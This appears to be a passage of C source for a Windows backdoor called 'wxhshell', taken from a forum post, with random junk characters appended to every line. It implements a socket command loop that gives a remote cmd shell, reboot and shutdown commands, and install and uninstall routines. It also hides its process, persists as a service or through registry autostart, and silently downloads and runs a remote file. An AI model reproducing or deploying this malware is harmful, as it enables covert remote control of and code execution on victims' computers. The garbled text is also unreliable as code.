  else { :;;E<74e i  
DPgm%Xq9(!  
    switch(cmd[0]) { 6c4&VW  
  'fV%Z  
  // 帮助 xg`h40c  
  case '?': { 9Ru;`  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); uLeRZSC  
    break; 5v.DX`"  
  } <~U4*  
  // 安装 gwkb!#A  
  case 'i': { yY{kG2b,  
    if(Install()) @r^!{  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); q}|U4MJm  
    else M+>`sj  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0);  %V G/  
    break; b]Kk2S/  
    } 6(&Y(/  
  // 卸载 .\Fss(Zn  
  case 'r': { <Cpp?DW_  
    if(Uninstall()) rt7<Q47QE  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Z [Xa%~5>5  
    else QWnndI_4p  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); R@ Y=o].2  
    break; MZv]s  
    } UM%o\BiO  
  // 显示 wxhshell 所在路径 FjfN3#qlg  
  case 'p': { P@}Pk  
    char svExeFile[MAX_PATH]; 0*%&>  
    strcpy(svExeFile,"\n\r"); t !`Jse>  
      strcat(svExeFile,ExeFile); y7\"[<E`(V  
        send(wsh,svExeFile,strlen(svExeFile),0); +%>:0mT  
    break; n^(A=G  
    } km5~Gc}  
  // 重启 bKVj[r8D~  
  case 'b': { %y[1H5)3<  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); A?!I/|E^;  
    if(Boot(REBOOT)) 7Ey#u4Q  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); j`*N,*ha  
    else { rZ1Hf11C  
    closesocket(wsh); !cW[G/W8  
    ExitThread(0); k_|^kdWJ  
    } eJ8]g49mD6  
    break; W_M'.1 t  
    } zoDZZ%{  
  // 关机 .lG5=Th!  
  case 'd': { PaB!,<A  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); *4Fr&^M\  
    if(Boot(SHUTDOWN)) -4#2/GXNO  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^n.WZUk  
    else { ^H'a4G3  
    closesocket(wsh); EpPf _ \o  
    ExitThread(0); ^4Am %yyT  
    } `b5 @}',  
    break; yBe d kj  
    } we7c`1E  
  // 获取shell .aOnGp  
  case 's': { ,8G{]X)  
    CmdShell(wsh); Y(VJbm`  
    closesocket(wsh); x|64l`Vp(:  
    ExitThread(0); B6P|Z%E;D6  
    break; V}w;Y?] J  
  } a T  l c  
  // 退出 M[ 5[N{  
  case 'x': { &p UZDjo?  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); f7de'^t9  
    CloseIt(wsh); neF]=uCWnT  
    break; \kam cA  
    } )U<Y0bZA!  
  // 离开 )u ?' ;  
  case 'q': { I3S9Us-\  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ?NNn:tiD  
    closesocket(wsh); ~3h-jK?  
    WSACleanup(); '(&%O8Yi  
    exit(1); JWP*>\P  
    break; V:NI4dv/R  
        } XJ0 {  
  } U!w1AY|  
  } nQK|n^AU/  
hv$yV%.`  
  // 提示信息 E .6HpIx  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 4A`NJ  
} -|yb[~3  
  } #!J(4tXny  
^cvl:HOog  
  return; Br>Fpe$q4  
} &sVvWNO#2  
{Z;t ^:s#  
// shell模块句柄 "%2xR[NF  
int CmdShell(SOCKET sock) ~vdkFc(8B  
{ W{cY6@  
STARTUPINFO si; `Kl`VP=c  
ZeroMemory(&si,sizeof(si)); a@d=>CT$  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; .4.pJbOg  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ({}(qm  
PROCESS_INFORMATION ProcessInfo; ewsKH\#  
char cmdline[]="cmd"; ]LPQYL  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); cFd > oDS  
  return 0; i=FQGWAUu  
} *DI)?  
v`q\6i[-  
// 自身启动模式 XkKC!  
int StartFromService(void) QvPD8B  
{ ?|;yVew  
typedef struct 5-u=o )>  
{ u<ySd?  
  DWORD ExitStatus; 3+7^uR$/I4  
  DWORD PebBaseAddress; w]j+9-._  
  DWORD AffinityMask; H%f:K2  
  DWORD BasePriority; ?z-}>$I;  
  ULONG UniqueProcessId; ^>4o$}  
  ULONG InheritedFromUniqueProcessId; OvL\u{(<F  
}   PROCESS_BASIC_INFORMATION; %rKK[  
']6VB,c`  
PROCNTQSIP NtQueryInformationProcess; JHn*->m  
}]P4-KqI  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; >"X\>M`"  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; s'P( ,!f  
bJr[I  
  HANDLE             hProcess; q]& .#&h  
  PROCESS_BASIC_INFORMATION pbi; ]ekk }0  
3*_fzP<R  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); XhU@W}}  
  if(NULL == hInst ) return 0; T".]m7!  
Mc sTe|X  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ?0*8R K  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 9|' B9C  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); }71LLzG`/  
/Poet%XvRx  
  if (!NtQueryInformationProcess) return 0; ZsP2>%"  
I XA>`D  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); (n( fI f  
  if(!hProcess) return 0; ~!6K]hB4  
)(Iy<Y?#  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 1pp -=$k  
,0$)yZ3*3,  
  CloseHandle(hProcess); R/b4NGW@  
J a,d3K  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); #>;FUZuJr  
if(hProcess==NULL) return 0; ]J1S#Q5'  
ig"uXs  
HMODULE hMod; d=.2@Ry  
char procName[255]; 8am`6;O:!  
unsigned long cbNeeded; e>'H IO  
^u)z{.z'H/  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 9e!NOl\_;.  
5@osnf?  
  CloseHandle(hProcess); {WN(&eax  
-!qu"A:  
if(strstr(procName,"services")) return 1; // 以服务启动 w6|9|f/  
XP[uF ;w  
  return 0; // 注册表启动 K5Wg"^AHY/  
} I lR\  #  
u}hF8eD  
// 主模块 ,M !tm7  
int StartWxhshell(LPSTR lpCmdLine) +WJ(QZEhD  
{ _S0+;9fhY  
  SOCKET wsl; x90*yaw>h  
BOOL val=TRUE; e`tLR- &  
  int port=0; _K9VMczj  
  struct sockaddr_in door; qL5I#?OMkU  
b}ODWdJ1  
  if(wscfg.ws_autoins) Install(); |8_JY2 R  
UAS@R`?cI  
port=atoi(lpCmdLine); Y+%sBqo @  
]6Ug>>x5  
if(port<=0) port=wscfg.ws_port; zkM"cb13q/  
.uo.N   
  WSADATA data; C=Fzu&N}  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; `WEZ"5n  
*TW=/+j  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   KP;(Q+qTx  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Huw\&E  
  door.sin_family = AF_INET; d87vl13  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); PrQ?PvA<L  
  door.sin_port = htons(port); vEM(bT=H  
[a[/_Sf{  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { D:\g,\Z  
closesocket(wsl); t5k!W7C  
return 1; %3;Fgky  
} f}c\_}(  
Rn%N&1 Ef  
  if(listen(wsl,2) == INVALID_SOCKET) { HY;o ^drd  
closesocket(wsl); cNpe_LvW  
return 1; 4o:hyh   
} wbyE;W  
  Wxhshell(wsl); '&O/g<Z}q  
  WSACleanup(); ^(}585b  
NMO-u3<6.  
return 0; w JwX[\  
$Kj&)&M  
} wle@v Cmr  
fBtm%f  
// 以NT服务方式启动 8{U-m0v  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ~%u|[$  
{ $S*4r&8ZD  
DWORD   status = 0; Z!xVgM{  
  DWORD   specificError = 0xfffffff; |xr%6 [Ff  
$$Vt7"F  
  serviceStatus.dwServiceType     = SERVICE_WIN32; _;A $C(  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; tqPx$s  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Nb2Qp K  
  serviceStatus.dwWin32ExitCode     = 0; 9&%fq)gS  
  serviceStatus.dwServiceSpecificExitCode = 0; a\uie$"cr]  
  serviceStatus.dwCheckPoint       = 0; /T^ JS  
  serviceStatus.dwWaitHint       = 0; F,Xo|jjj  
ek aFN\  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); cR-~)UyrO  
  if (hServiceStatusHandle==0) return; nq} Q  
)Ag/Qep  
status = GetLastError(); !;@_VWR  
  if (status!=NO_ERROR) 38V3o`f  
{ tHD  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; `;,Pb&W~  
    serviceStatus.dwCheckPoint       = 0; 6< J #^ 6  
    serviceStatus.dwWaitHint       = 0; YO{GU7  
    serviceStatus.dwWin32ExitCode     = status; m^%|ZTrwN7  
    serviceStatus.dwServiceSpecificExitCode = specificError; ?i\B^uB  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); M/PFPJ >`  
    return; 9n]|PEoAB  
  } p5=|Y^g !  
?8dVH2W.  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; qJ!Z~-hS  
  serviceStatus.dwCheckPoint       = 0; 39U5jj7i  
  serviceStatus.dwWaitHint       = 0; fa* Cpt:  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); "o!{51!'  
} / il@`w;G  
xieP "6  
// 处理NT服务事件,比如:启动、停止 OkAK  
VOID WINAPI NTServiceHandler(DWORD fdwControl) iVtl72O  
{ MJ<Jb,D1  
switch(fdwControl) {cK^,?x  
{ }y%`)lz~;  
case SERVICE_CONTROL_STOP: :H6FPV78  
  serviceStatus.dwWin32ExitCode = 0; +1C3`0(  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; wyx(FinIH  
  serviceStatus.dwCheckPoint   = 0; "Y`3DxXz  
  serviceStatus.dwWaitHint     = 0; T[k4lM  
  { C;AA/4Ib  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); _s,ao '/  
  } wo2@hav  
  return; ukgAI<O%  
case SERVICE_CONTROL_PAUSE: zHWSE7!  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ?B@;QjhjiJ  
  break; n>,L=wV  
case SERVICE_CONTROL_CONTINUE: 6[ qA`x#  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; W^,S6!  
  break; }*]B-\>  
case SERVICE_CONTROL_INTERROGATE: v1U?&C  
  break; .%EL\2  
}; Rx07trfN  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); =*BIB5  
} { kSf{>Ia  
Mpue   
// 标准应用程序主函数 JG`Q;K  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) cxeghy:;U  
{ 3:/'t{ ^B  
xVB;s.'!  
// 获取操作系统版本 gC%G;-gm  
OsIsNt=GetOsVer(); Agh`]XQ2  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 4nfu6Dq  
)O+}T5c=  
  // 从命令行安装 # m R4fst  
  if(strpbrk(lpCmdLine,"iI")) Install(); Mk<Vydds  
lLq<xf  
  // 下载执行文件 .%BT,$1K  
if(wscfg.ws_downexe) { Mk 0+D#  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 8eIUsI.o  
  WinExec(wscfg.ws_filenam,SW_HIDE); i=a-<A5x  
} 2'jOP" G  
/gcEw!JS  
if(!OsIsNt) { !2\ r LN  
// 如果时win9x,隐藏进程并且设置为注册表启动 gyHHoZc3  
HideProc(); :nHKl  
StartWxhshell(lpCmdLine); /StTb,  
} })xp%<`  
else p=GWq(S6  
  if(StartFromService()) TQX)?^Ft  
  // 以服务方式启动 B 3m_D"?  
  StartServiceCtrlDispatcher(DispatchTable); b2(RpY2Y  
else a ?} .Fs  
  // 普通方式启动 zIC;7 5#  
  StartWxhshell(lpCmdLine); E9\vA*a  
' #NcZy  
return 0; k- V,~c  
}
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只看该作者 1 发表于: 2006-10-10
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